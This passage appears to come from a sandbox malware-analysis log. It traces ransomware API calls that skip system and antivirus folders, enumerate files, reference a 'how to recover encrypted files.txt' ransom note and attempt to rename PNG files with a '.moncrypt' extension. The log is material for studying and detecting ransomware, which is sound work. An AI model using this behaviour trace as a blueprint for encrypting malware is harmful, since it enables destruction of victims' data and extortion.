Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.355] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.355] GlobalLock (hMem=0x440004) returned 0x550170 [0058.355] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.355] GlobalUnlock (hMem=0x440004) returned 0 [0058.356] GlobalLock (hMem=0x440004) returned 0x550170 [0058.356] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.356] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.356] GlobalUnlock (hMem=0x440004) returned 0 [0058.356] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.356] GlobalUnlock (hMem=0x44000c) returned 0 [0058.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0058.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\", cchLength=0x3b | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\") returned 0x3b [0058.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.356] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.356] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.356] GlobalUnlock (hMem=0x44000c) returned 0 [0058.356] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.357] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.357] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.357] GlobalUnlock (hMem=0x44000c) returned 0 [0058.357] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.357] GlobalUnlock (hMem=0x440004) returned 0 [0058.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.357] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.357] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0058.357] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.358] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.358] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.358] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.358] GlobalUnlock (hMem=0x440004) returned 0 [0058.358] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.358] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.358] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.358] GlobalUnlock (hMem=0x440004) returned 0 [0058.358] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.358] GlobalUnlock (hMem=0x44000c) returned 0 [0058.358] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.358] CharLowerBuffW (in: lpsz="1047x576black.png", cchLength=0x11 | out: lpsz="1047x576black.png") returned 0x11 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.358] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.359] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\ResizingPanels\\1047x576black.pngp", lpUsedDefaultChar=0x0) returned 4 [0058.359] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.359] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.360] CloseHandle (hObject=0x18c) returned 1 [0058.360] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\я")) returned 1 [0058.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 0x54e280 [0058.361] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.361] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.361] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.361] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png", dwFileAttributes=0x20) returned 0 [0058.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.362] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png.moncrypt")) returned 0 [0058.362] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0058.362] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.362] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.362] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.362] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.362] GlobalUnlock (hMem=0x44000c) returned 0 [0058.362] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.362] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.362] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.363] GlobalUnlock (hMem=0x44000c) returned 0 [0058.363] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.363] GlobalUnlock (hMem=0x440004) returned 0 [0058.363] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.363] CharLowerBuffW (in: lpsz="203x8subpicture.png", cchLength=0x13 | out: lpsz="203x8subpicture.png") returned 0x13 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.pngt", lpUsedDefaultChar=0x0) returned 78 [0058.364] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\ResizingPanels\\203x8subpicture.pngt", lpUsedDefaultChar=0x0) returned 4 [0058.364] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.364] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.364] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.364] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.364] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png", dwFileAttributes=0x20) returned 0 [0058.365] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.365] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd 